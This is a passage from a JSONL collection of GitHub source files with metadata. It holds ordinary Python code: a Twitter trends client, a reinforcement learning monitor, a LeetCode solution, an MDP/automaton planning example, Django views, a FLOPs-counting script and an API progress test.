136, "usage_type": "call"}, {"api_name": "hid.Device", "line_number": 138, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 139, "usage_type": "call"}, {"api_name": "fastapi.responses.StreamingResponse", "line_number": 164, "usage_type": "call"}]} +{"seq_id": "23592550461", "text": "import twitter\n\nclass TwitterApi():\n def __init__(self):\n self.api = twitter.Api(consumer_key='your_consumer_key',\n consumer_secret='your_consumer_secret',\n access_token_key='your_access_token_key',\n access_token_secret='yout_access_token_secret')\n\n def getTrends(self):\n response = self.api.GetTrendsCurrent()\n for r in response:\n print(r)\n\nif __name__ == '__main__':\n twitter = TwitterApi()\n twitter.getTrends()\n", "repo_name": "talithamedeiros/trends-twitter", "sub_path": "trends.py", "file_name": "trends.py", "file_ext": "py", "file_size_in_byte": 548, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "twitter.Api", "line_number": 5, "usage_type": "call"}, {"api_name": "twitter.getTrends", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "38351754632", "text": "# 説明\n# The interact function tests how well your agent learns from\n# interaction with the environment.\n\nfrom collections import deque\nimport sys\nimport math\nimport numpy as np\nfrom Actor_Critic import *\n\ndef interact_AC(env, num_episodes=20000, window=100, gamma=0.9, learning_rate=0.1, momentum=0.99):\n \"\"\" Monitor agent's performance.\n Params\n ======\n - env: instance of OpenAI Gym's Taxi-v1 environment\n - agent: instance of class Agent (see Agent.py for details)\n - num_episodes: number of episodes of agent-environment interaction\n - window: number of episodes to consider when calculating average rewards\n\n Returns\n =======\n - avg_rewards: deque containing average rewards\n - best_avg_reward: largest value in the avg_rewards deque\n \"\"\"\n # initialize average rewards\n avg_rewards = deque(maxlen=num_episodes)\n # initialize best average reward\n best_avg_reward = -math.inf\n # initialize monitor for most recent rewards\n samp_rewards = deque(maxlen=window)\n\n actor = Actor(env)\n critic = Critic(env)\n\n # for each episode\n for i_episode in range(1, num_episodes+1):\n # begin the episode\n state = env.reset()\n # initialize the sampled reward\n samp_reward = 0\n while True:\n action = actor.policy(state)\n next_state, reward, done, info = env.step(action)\n gain = reward + gamma * critic.V[next_state]\n estimated = critic.V[state]\n td_diff = estimated - gain\n #\n actor.Q[state][action] = momentum * actor.Q[state][action] - learning_rate * td_diff\n critic.V[state] = momentum * critic.V[state] - learning_rate * td_diff\n #\n state = next_state\n samp_reward += reward\n\n if done:\n # save final sampled reward\n samp_rewards.append(samp_reward)\n break\n\n if (i_episode >= 100):\n # get average reward from last 100 episodes\n avg_reward = np.mean(samp_rewards)\n # append to deque\n avg_rewards.append(avg_reward)\n # update best average reward\n if avg_reward > best_avg_reward:\n best_avg_reward = avg_reward\n # monitor progress\n print(\"\\rEpisode {}/{} || Best average reward {}\".format(i_episode, num_episodes, best_avg_reward), end=\"\")\n sys.stdout.flush()\n # check if task is solved (according to OpenAI Gym)\n if best_avg_reward >= 9.7:\n print('\\nEnvironment solved in {} episodes.'.format(i_episode), end=\"\")\n break\n if i_episode == num_episodes: print('\\n')\n return avg_rewards, best_avg_reward", "repo_name": "est2mzd/UdaCity_DeepLearning05_Deep_Reinforcement_Learning", "sub_path": "07_lab_taxi/monitor_Actor_Critic.py", "file_name": "monitor_Actor_Critic.py", "file_ext": "py", "file_size_in_byte": 2745, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.deque", "line_number": 26, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 28, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 69, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 69, "usage_type": "attribute"}]} +{"seq_id": "32483046189", "text": "import unittest\nfrom typing import List\n\n\nclass Solution:\n def searchInsertNaive(self, nums: List[int], target: int) -> int:\n i = 0\n if nums[len(nums)-1] < target:\n return len(nums)\n while nums[i] < target:\n i += 1\n return i\n\n def searchInsert(self, nums: List[int], target: int) -> int:\n if nums[len(nums)-1] < target:\n return len(nums)\n left, right = 0, len(nums)-1\n # binary search\n while left <= right:\n middle = left + int((right - left)/2)\n if nums[middle] == target:\n return middle\n elif nums[middle] < target:\n left = middle + 1\n else:\n right = middle - 1\n return left\n\n\nclass TestSolution(unittest.TestCase):\n solution = Solution()\n\n def test_1(self):\n self.assertEqual(self.solution.searchInsert([1, 3, 5, 6], 5), 2)\n\n def test_2(self):\n self.assertEqual(self.solution.searchInsert([1, 3, 5, 6], 2), 1)\n\n def test_3(self):\n self.assertEqual(self.solution.searchInsert([1, 3, 5, 6], 7), 4)\n\n def test_4(self):\n self.assertEqual(self.solution.searchInsert([1, 3, 5, 6], 0), 0)\n\n def test_5(self):\n self.assertEqual(self.solution.searchInsert([1], 0), 0)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "repo_name": "mvasilenko/leetcode", "sub_path": "search_insert_position.py", "file_name": "search_insert_position.py", "file_ext": "py", "file_size_in_byte": 1355, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 30, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "32643951226", "text": "license_text='''\n Module implements a simple example of translating a syntactically co-safe\n GDTL formula to a deterministic finite state automaton.\n Copyright (C) 2017 Cristian Ioan Vasile \n CSAIL, LIDS, Massachusetts Institute of Technology\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n'''\n'''\n.. module:: gdtl_dfa_example.py\n :synopsis: Module implements a simple example of translating a syntactically\n co-safe GDTL formula to a deterministic finite state automaton.\n\n.. moduleauthor:: Cristian Ioan Vasile \n\n'''\n'''\nCreated on Dec 4, 2017\n\n@author: cristi\n'''\n\nimport logging\nfrom collections import deque\n\nfrom lomap import Fsa\nfrom lomap import Markov as MDP\nfrom gdtl import gdtl2ltl, PredicateContext\n\n\ndef gdtl2fsa(formula):\n tl, ap = gdtl2ltl(formula)\n ltl_formula = tl.formulaString(ltl=True)\n assert tl.isSynCoSafe()\n fsa = Fsa(multi=False)\n fsa.from_formula(ltl_formula)\n # optional add trap state\n fsa.add_trap_state()\n \n logging.info('Automaton size: %s', fsa.size())\n logging.info('Automaton: %s', fsa)\n \n return fsa, tl, ap\n\ndef getAPs(state, cov, aps, context):\n '''Computes the set of atomic propositions that are true at the given belief\n node.\n '''\n # update predicate evaluation context with custom symbols\n return set([ap for ap, pred in aps.iteritems()\n if context.evalPred(pred, state, cov, state_label='x', cov_label='P')])\n\ndef mdp_times_fsa(mdp, fsa, expand_finals=True):\n '''Computes the product automaton between a Markov decision process and an\n FSA.\n\n Parameters\n ----------\n mdp: LOMAP Markov Decision Process\n\n fsa: LOMAP deterministic finite state automaton\n '''\n\n # Create the product_model\n product_model = MDP()\n # Iterate over initial states of the TS\n for init_ts, init_ts_prob in mdp.init.iteritems():\n init_prop = mdp.g.node[init_ts].get('prop', set())\n # Iterate over the initial states of the FSA\n for init_fsa in fsa.init:\n # Add the initial states to the graph and mark them as initial\n act_init_fsa = fsa.next_state(init_fsa, init_prop)\n if act_init_fsa is not None:\n init_state = (init_ts, act_init_fsa)\n product_model.init[init_state] = init_ts_prob\n product_model.g.add_node(init_state)\n if act_init_fsa in fsa.final:\n product_model.final.add(init_state)\n\n # Add all initial states to the stack\n stack = deque(product_model.init)\n # Consume the stack\n while stack:\n cur_state = stack.pop()\n mdp_state, fsa_state = cur_state\n\n # skip processing final beyond final states\n if not expand_finals and fsa_state in fsa.final:\n continue\n\n for _, ts_next_state, action in mdp.g.edges_iter(mdp_state, keys=True):\n ts_next_prop = mdp.g.node[ts_next_state].get('prop', set())\n fsa_next_state = fsa.next_state(fsa_state, ts_next_prop)\n if fsa_next_state is not None:\n next_state = (ts_next_state, fsa_next_state)\n if next_state not in product_model.g:\n # Add the new state\n product_model.g.add_node(next_state)\n # Add transition\n product_model.g.add_edge(cur_state, next_state, key=action)\n # Mark as final if final in fsa\n if fsa_next_state in fsa.final:\n product_model.final.add(next_state)\n # Continue search from next state\n stack.append(next_state)\n elif next_state not in product_model.g[cur_state]:\n # Add transition\n product_model.g.add_edge(cur_state, next_state, key=action)\n\n return product_model\n\ndef computePolicy(product_mdp, epsilon=1e-3):\n\n g = product_mdp.g\n\n logging.info(\"Starting value iteration to find policy\")\n\n # Initialize value iteration\n for _, node_data in g.nodes_iter(data=True):\n node_data['value'] = 0. \n\n # Dynp function\n def dynp(node_start, action):\n node_end_list = [node_end for node_end in g[node_start]\n if action in g[node_start][node_end]]\n return sum(g[node_start][node_end][action]['prob'] * g.node[node_end]['value']\n for node_end in node_end_list)\n\n # Do policy/value iteration\n changed = True\n pa_policy = {}\n while changed:\n changed = False\n for node_start, node_data in g.nodes_iter(data=True):\n if node_start in product_mdp.final: # accept\n new_action = node_start[0] # stay put\n new_value = 1.\n elif node_start[1] != 'trap': # TODO: name should not be hard-coded\n new_value = 0.\n else:\n action_set = set(act for node_end in g[node_start]\n for act in g[node_start][node_end])\n new_action = max(action_set, key=lambda action: dynp(node_start, action))\n new_value = dynp(node_start, new_action)\n\n if new_value > node_data['value'] + epsilon:\n changed = True\n node_data['value'] = new_value\n pa_policy[node_start] = new_action\n\n# logging.info(\"Value iteration finished with solution p=%f\", ?)\n return pa_policy\n\ndef main():\n formula = 'F x > 2 || (P<=8 U custom(x) > 2)'\n predicates = { # define custom predicates here\n 'custom' : lambda x: x\n }\n context = PredicateContext(predicates)\n \n fsa, tl, aps = gdtl2fsa(formula)\n \n mdp = MDP(directed=True, multi=True)\n mdp.name = 'Two rooms'\n \n # states\n mdp.g.add_node('room1', prop=getAPs(1, 3, aps, context))\n mdp.g.add_node('room2', prop=getAPs(4, 7, aps, context))\n mdp.init['room1'] = 0.5\n mdp.init['room2'] = 0.5\n # actions\n mdp.act = {'stay', 'leave'}\n # transitions\n mdp.g.add_edge('room1', 'room1', key='stay', prob=1.0)\n mdp.g.add_edge('room1', 'room1', key='leave', prob=0.3)\n mdp.g.add_edge('room1', 'room2', key='leave', prob=0.7)\n mdp.g.add_edge('room2', 'room1', key='stay', prob=0.1)\n mdp.g.add_edge('room2', 'room2', key='stay', prob=0.9)\n mdp.g.add_edge('room2', 'room1', key='leave', prob=0.4)\n mdp.g.add_edge('room2', 'room2', key='leave', prob=0.6)\n # create product mdp\n product_mdp = mdp_times_fsa(mdp, fsa)\n # solve mdp\n policy_pa = computePolicy(product_mdp)\n\nif __name__ == '__main__':\n loglevel = logging.INFO\n logging.basicConfig(level=loglevel)\n main()", "repo_name": "pettni/pdf-abstraction", "sub_path": "gdtl_dfa_example.py", "file_name": "gdtl_dfa_example.py", "file_ext": "py", "file_size_in_byte": 7348, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "gdtl.gdtl2ltl", "line_number": 43, "usage_type": "call"}, {"api_name": "lomap.Fsa", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 52, "usage_type": "call"}, {"api_name": "lomap.Markov", "line_number": 76, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 92, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 127, "usage_type": "call"}, {"api_name": "gdtl.PredicateContext", "line_number": 170, "usage_type": "call"}, {"api_name": "lomap.Markov", "line_number": 174, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 198, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 199, "usage_type": "call"}]} +{"seq_id": "4367989388", "text": "from django.shortcuts import render, redirect\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom ..models import AvaliacaoFisica, Usuario\nfrom ..forms import AvaliacaoForm\nfrom ..tabela_percent_gordura import tabela_percent_gordura\n\n\n@login_required\ndef detalhar(request, pk):\n avaliacao = AvaliacaoFisica.objects.get(pk=pk)\n if hasattr(avaliacao, 'dobra'):\n gordura = tabela_percent_gordura(avaliacao.dobra, avaliacao.pessoa)\n else:\n gordura = None\n return render(request, 'avaliacao/detalhar.html', {\n 'avaliacao': avaliacao, 'gordura': gordura\n })\n\n\n@login_required\ndef adicionar(request, pk):\n pessoa = Usuario.objects.get(pk=pk)\n if request.method == 'POST':\n form = AvaliacaoForm(request.POST)\n if form.is_valid():\n avaliacao = form.save(commit=False)\n avaliacao.pessoa = pessoa\n avaliacao.save()\n return redirect(reverse('avaliacao_detalhar',\n kwargs={'pk': avaliacao.pk}))\n else:\n form = AvaliacaoForm()\n return render(request, 'change_form.html',\n {'form': form, 'title': 'Adicionar Avaliação física'})\n\n\n@login_required\ndef editar(request, pk):\n avaliacao = AvaliacaoFisica.objects.get(pk=pk)\n if request.method == 'POST':\n form = AvaliacaoForm(request.POST, instance=avaliacao)\n if form.is_valid():\n form.save()\n return redirect(reverse('avaliacao_detalhar', kwargs={'pk': pk}))\n else:\n form = AvaliacaoForm(instance=avaliacao)\n return render(request, 'change_form.html', {\n 'form': form, 'title': 'Editar Avalição física',\n 'tipo': 'avaliação física',\n 'delete_url': reverse('avaliacao_apagar', kwargs={'pk': pk})\n })\n\n\n@login_required\ndef apagar(request, pk):\n avaliacao = AvaliacaoFisica.objects.get(pk=pk)\n pessoa_id = avaliacao.pessoa_id\n if request.method == 'POST':\n avaliacao.delete()\n return redirect(reverse('aluno_detalhar', kwargs={'pk': pessoa_id}))\n", "repo_name": "roldaojr/academia", "sub_path": "academia/views/avaliacao.py", "file_name": "avaliacao.py", "file_ext": "py", "file_size_in_byte": 2103, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "models.AvaliacaoFisica.objects.get", "line_number": 11, "usage_type": "call"}, {"api_name": "models.AvaliacaoFisica.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.AvaliacaoFisica", "line_number": 11, "usage_type": "name"}, {"api_name": "tabela_percent_gordura.tabela_percent_gordura", "line_number": 13, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 9, "usage_type": "name"}, {"api_name": "models.Usuario.objects.get", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Usuario.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Usuario", "line_number": 23, "usage_type": "name"}, {"api_name": "forms.AvaliacaoForm", "line_number": 25, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 30, "usage_type": "call"}, {"api_name": "forms.AvaliacaoForm", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 21, "usage_type": "name"}, {"api_name": "models.AvaliacaoFisica.objects.get", "line_number": 40, "usage_type": "call"}, {"api_name": "models.AvaliacaoFisica.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.AvaliacaoFisica", "line_number": 40, "usage_type": "name"}, {"api_name": "forms.AvaliacaoForm", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 45, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 45, "usage_type": "call"}, {"api_name": "forms.AvaliacaoForm", "line_number": 47, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 38, "usage_type": "name"}, {"api_name": "models.AvaliacaoFisica.objects.get", "line_number": 57, "usage_type": "call"}, {"api_name": "models.AvaliacaoFisica.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.AvaliacaoFisica", "line_number": 57, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 61, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 55, "usage_type": "name"}]} +{"seq_id": "13350388969", "text": "import argparse\n\nfrom mmcv import Config\nfrom mmcv.cnn import get_model_complexity_info\nfrom mmocr.models import build_detector\nimport ocrclip\nimport datasets\nimport mmdet.ResNet\nfrom fvcore.nn import FlopCountAnalysis\n\nimport torch\nfrom numbers import Number\nfrom typing import Any, Callable, List, Optional, Union\nfrom numpy import prod\nimport numpy as np\nfrom fvcore.nn import FlopCountAnalysis\nfrom mmocr.datasets import build_dataset\n\n\ndef calc_flops(model, img_size):\n with torch.no_grad():\n x = torch.randn(1, img_size[0], img_size[1], img_size[2]).cuda()\n fca1 = FlopCountAnalysis(model, x)\n print('backbone:', fca1.total(module_name=\"backbone\")/1e9)\n try:\n print('text_encoder:', fca1.total(module_name=\"text_encoder\")/1e9)\n print('context_decoder:', fca1.total(module_name=\"context_decoder\")/1e9)\n print('prompt_generator:', fca1.total(module_name=\"prompt_generator\")/1e9)\n print('identity_head:', fca1.total(module_name=\"identity_head\")/1e9)\n except:\n pass\n \n try:\n print('neck:', fca1.total(module_name=\"neck\")/1e9)\n except:\n pass\n print('bbox_head:', fca1.total(module_name=\"bbox_head\")/1e9)\n flops1 = fca1.total()\n print(\"#### GFLOPs: {:.1f}\".format(flops1 / 1e9))\n return flops1 / 1e9\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train a detector')\n parser.add_argument('config', help='train config file path')\n parser.add_argument(\n '--fvcore',\n action='store_true', default=False)\n parser.add_argument(\n '--shape',\n type=int,\n nargs='+',\n # default=[1024, 1024],\n default=[1280, 800],\n help='input image size')\n parser.add_argument(\n '--size-divisor',\n type=int,\n default=32,\n help='Pad the input image, the minimum size that is divisible '\n 'by size_divisor, -1 means do not pad the image.')\n args = parser.parse_args()\n return args\n\n\ndef main():\n\n args = parse_args()\n\n # if len(args.shape) == 1:\n # input_shape = (3, args.shape[0], args.shape[0])\n # elif len(args.shape) == 2:\n # input_shape = (3, ) + tuple(args.shape)\n # else:\n # raise ValueError('invalid input shape')\n if len(args.shape) == 1:\n h = w = args.shape[0]\n elif len(args.shape) == 2:\n h, w = args.shape\n else:\n raise ValueError('invalid input shape')\n orig_shape = (3, h, w)\n\n divisor = args.size_divisor\n if divisor > 0:\n h = int(np.ceil(h / divisor)) * divisor\n w = int(np.ceil(w / divisor)) * divisor\n\n input_shape = (3, h, w)\n\n if divisor > 0 and \\\n input_shape != orig_shape:\n split_line = '=' * 30\n print(f'{split_line}\\nUse size divisor set input shape '\n f'from {orig_shape} to {input_shape}\\n')\n\n cfg = Config.fromfile(args.config)\n cfg.model.pretrained = None\n\n if 'OCRCLIP' in cfg.model.type:\n datasets = [build_dataset(cfg.data.train)]\n cfg.model.class_names = list(datasets[0].CLASSES)\n \n model = build_detector(\n cfg.model,\n train_cfg=cfg.get('train_cfg'),\n test_cfg=cfg.get('test_cfg'))\n if torch.cuda.is_available():\n model.cuda()\n model.eval()\n\n if hasattr(model, 'forward_dummy'):\n model.forward = model.forward_dummy\n else:\n raise NotImplementedError(\n 'FLOPs counter is currently not currently supported with {}'.\n format(model.__class__.__name__))\n \n if args.fvcore:\n flops = calc_flops(model, input_shape)\n \n n_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad) / 1e6\n print('number of params:', f'{n_parameters:.1f}')\n if hasattr(model, 'text_encoder'):\n n_parameters_text = sum(p.numel() for p in model.text_encoder.parameters() if p.requires_grad) / 1e6\n print('param without text encoder:', n_parameters-n_parameters_text)\n if hasattr(model, 'context_decoder'):\n n_parameters_text = sum(p.numel() for p in model.context_decoder.parameters() if p.requires_grad) / 1e6\n print('param context:', n_parameters_text)\n if hasattr(model, 'prompt_generator'):\n n_parameters_text = sum(p.numel() for p in model.prompt_generator.parameters() if p.requires_grad) / 1e6\n print('param prompt_generator:', n_parameters_text)\n\n else:\n flops, params = get_model_complexity_info(model, input_shape)\n split_line = '=' * 30\n print('{0}\\nInput shape: {1}\\nFlops: {2}\\nParams: {3}\\n{0}'.format(\n split_line, input_shape, flops, params))\n print('!!!Please be cautious if you use the results in papers. '\n 'You may need to check if all ops are supported and verify that the '\n 'flops computation is correct.')\n\n\nif __name__ == '__main__':\n main()\n\n# python get_flops.py configs/textdet/dbnet/clip_db_r50_fpnc_prompt_gen_vis_1200e_ft_td_ranger_post_taiji_1033_vis_feat.py --fvcore\n# python get_flops.py configs/textdet/dbnet/dbnet_r50dcnv2_fpnc_1200e_icdar2015.py --fvcore\n# python get_flops.py configs/textdet/dbnet/dbnet_r101dcnv2_fpnc_1200e_icdar2015.py --fvcore\n# python get_flops.py configs/textdet/dbnet/dbnet_r152dcnv2_fpnc_1200e_icdar2015.py --fvcore\n\n\n# python get_flops.py configs/textdet/panet/panet_r50_fpem_ffm_600e_icdar2017.py --fvcore\n# python get_flops.py configs/textdet/panet/panet_clip_r50att_prompt_gen_vis_fpem_ffm_600e_ic15_1033_debug.py --fvcore\n\n\n# python get_flops.py configs/textdet/fcenet/fcenet_r50dcnv2_fpn_1500e_ctw1500.py --fvcore\n# python get_flops.py configs/textdet/fcenet/fcenet_clip_r50att_prompt_gen_vis_fpn_1500e_ic15_1033_debug.py --fvcore\n\n\n# python get_flops.py configs/textdet/textsnake/textsnake_r50_fpn_unet_1200e_ctw1500.py --fvcore\n\n# python get_flops.py configs/textdet/psenet/psenet_r50_fpnf_600e_icdar2015.py --fvcore\n\n# python get_flops.py configs/textdet/drrg/drrg_r50_fpn_unet_1200e_ctw1500.py --fvcore", "repo_name": "wenwenyu/TCM", "sub_path": "ocrclip/get_flops.py", "file_name": "get_flops.py", "file_ext": "py", "file_size_in_byte": 6094, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 126, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.no_grad", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 22, "usage_type": "call"}, {"api_name": "fvcore.nn.FlopCountAnalysis", "line_number": 23, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 86, "usage_type": "call"}, {"api_name": "mmcv.Config.fromfile", "line_number": 96, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 96, "usage_type": "name"}, {"api_name": "mmocr.datasets.build_dataset", "line_number": 100, "usage_type": "call"}, {"api_name": "mmocr.models.build_detector", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 107, "usage_type": "attribute"}, {"api_name": "mmcv.cnn.get_model_complexity_info", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "5663783902", "text": "import setuptools\n\nVERSION = \"0.0.34\"\n\nsetuptools.setup(\n name='techlabreactor',\n packages=['techlabreactor'],\n version=VERSION,\n description='Utility for performing replay analysis of SC2 replays',\n author='Hugo Wainwright',\n author_email='wainwrighthugo@gmail.com',\n url='https://github.com/frugs/techlab-reactor',\n keywords=['sc2', 'replay', 'sc2reader'],\n classifiers=[],\n install_requires=['sc2reader'],\n)\n", "repo_name": "frugs/techlab-reactor", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "setuptools.setup", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "70796213724", "text": "import json\nimport unittest\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import sleep\n\nfrom fastapi.testclient import TestClient\n\nfrom funman.api.api import app, settings\nfrom funman.server.query import FunmanResults, FunmanWorkUnit\n\nFILE_DIRECTORY = Path(__file__).resolve().parent\nAPI_BASE_PATH = FILE_DIRECTORY / \"..\"\nRESOURCES = API_BASE_PATH / \"resources\"\n\nAMR_DIR = RESOURCES / \"amr\"\nAMR_EXAMPLES_PETRI_DIR = AMR_DIR / \"petrinet\" / \"amr-examples\"\nAMR_EXAMPLES_REGNET_DIR = AMR_DIR / \"regnet\" / \"amr-examples\"\n\nSKEMA_PETRI_DIR = AMR_DIR / \"petrinet\" / \"skema\"\nSKEMA_REGNET_DIR = AMR_DIR / \"regnet\" / \"skema\"\n\nMIRA_PETRI_DIR = AMR_DIR / \"petrinet\" / \"mira\"\nMIRA_PETRI_MODELS = MIRA_PETRI_DIR / \"models\"\nMIRA_PETRI_REQUESTS = MIRA_PETRI_DIR / \"requests\"\n\nTEST_OUT = FILE_DIRECTORY / \"out\"\nTEST_OUT.mkdir(parents=True, exist_ok=True)\n\nTEST_API_TOKEN = \"funman-test-api-token\"\nTEST_BASE_URL = \"funman\"\n\n\nclass TestProgress(unittest.TestCase):\n \"\"\"\n Tests on the progress reported by queries to the API\n \"\"\"\n\n @classmethod\n def setUpClass(cls) -> None:\n settings.funman_api_token = TEST_API_TOKEN\n settings.funman_base_url = TEST_BASE_URL\n cls._tmpdir = TemporaryDirectory(prefix=f\"{cls.__name__}_\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n settings.funman_api_token = None\n settings.funman_base_url = None\n cls._tmpdir.cleanup()\n\n def setUp(self):\n self.test_dir = Path(self._tmpdir.name) / self._testMethodName\n self.test_dir.mkdir()\n settings.data_path = str(self.test_dir)\n\n def tearDown(self):\n settings.data_path = \".\"\n\n def test_progress(self):\n \"\"\"\n Run subtest_progress for each of the pairs\n \"\"\"\n pairs = [\n # (model, request)\n (\n MIRA_PETRI_MODELS / \"scenario2_a_beta_scale_static.json\",\n MIRA_PETRI_REQUESTS / \"request2_b_synthesize.json\",\n ),\n ]\n for model_path, request_path in pairs:\n msg = f\"({model_path.name}, {request_path.name})\"\n with self.subTest(msg):\n self.subtest_progress(model_path, request_path)\n\n def subtest_progress(self, model_path, request_path):\n \"\"\"\n Check that progress:\n - starts at 0.0\n - only increases or stays the same\n - does not exceed 1.0\n - ends ar 1.0 when done is True\n \"\"\"\n # Load the input files\n model = json.loads(model_path.read_bytes())\n request = json.loads(request_path.read_bytes())\n\n # Start a test API client\n with TestClient(app) as client:\n headers = {\"token\": f\"{TEST_API_TOKEN}\"}\n # Make the initial query\n response = client.post(\n \"/api/queries\",\n json={\"model\": model, \"request\": request},\n headers=headers,\n )\n # Ensure the response code reports success\n assert (\n response.status_code == 200\n ), f\"Response code was not 200: {response.status_code}\"\n\n # Parse and extract the work id\n work_unit = FunmanWorkUnit.model_validate(\n json.loads(response.content.decode())\n )\n work_id = work_unit.id\n\n # Check that the progress starts at 0.0\n progress = work_unit.progress.progress\n assert round(progress, 5) == 0.0, \"Progress did not start at 0.0\"\n prev_progress = progress\n\n # Check the status of the query several times while sleeping between\n steps = 40\n while True:\n # Wait\n sleep(1.0)\n # Get status\n response = client.get(\n f\"/api/queries/{work_id}\", headers=headers\n )\n # Ensure success response\n assert (\n response.status_code == 200\n ), f\"Response code was not 200: {response.status_code}\"\n # Parse data to a FunmanResults object\n data = FunmanResults.model_validate(\n json.loads(response.content.decode())\n )\n prev_progress = progress\n progress = data.progress.progress\n\n assert (\n progress >= 0.0\n ), f\"Progress is less than 0.0: {progress}\"\n assert (\n progress <= 1.0\n ), f\"Progress is greater than 1.0: {progress}\"\n assert (\n progress >= prev_progress\n ), f\"Progress decreased from {prev_progress} to {progress}\"\n if data.done:\n break\n # Limit steps to done\n steps -= 1\n assert steps > 0, \"Failed to finish in allowed time\"\n\n # Ensure progress is 1.0 after processing is done\n assert round(progress, 5) == 1.0, \"Progress did not end at 1.0\"\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "repo_name": "siftech/funman", "sub_path": "test/test_progress.py", "file_name": "test_progress.py", "file_ext": "py", "file_size_in_byte": 5102, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 34, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings.funman_api_token", "line_number": 41, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 41, "usage_type": "name"}, {"api_name": "funman.api.api.settings.funman_base_url", "line_number": 42, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 42, "usage_type": "name"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 43, "usage_type": "call"}, {"api_name": "funman.api.api.settings.funman_api_token", "line_number": 47, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 47, "usage_type": "name"}, {"api_name": "funman.api.api.settings.funman_base_url", "line_number": 48, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 48, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}, {"api_name": "funman.api.api.settings.data_path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "funman.api.api.settings", "line_number": 54, "usage_type": "name"}, 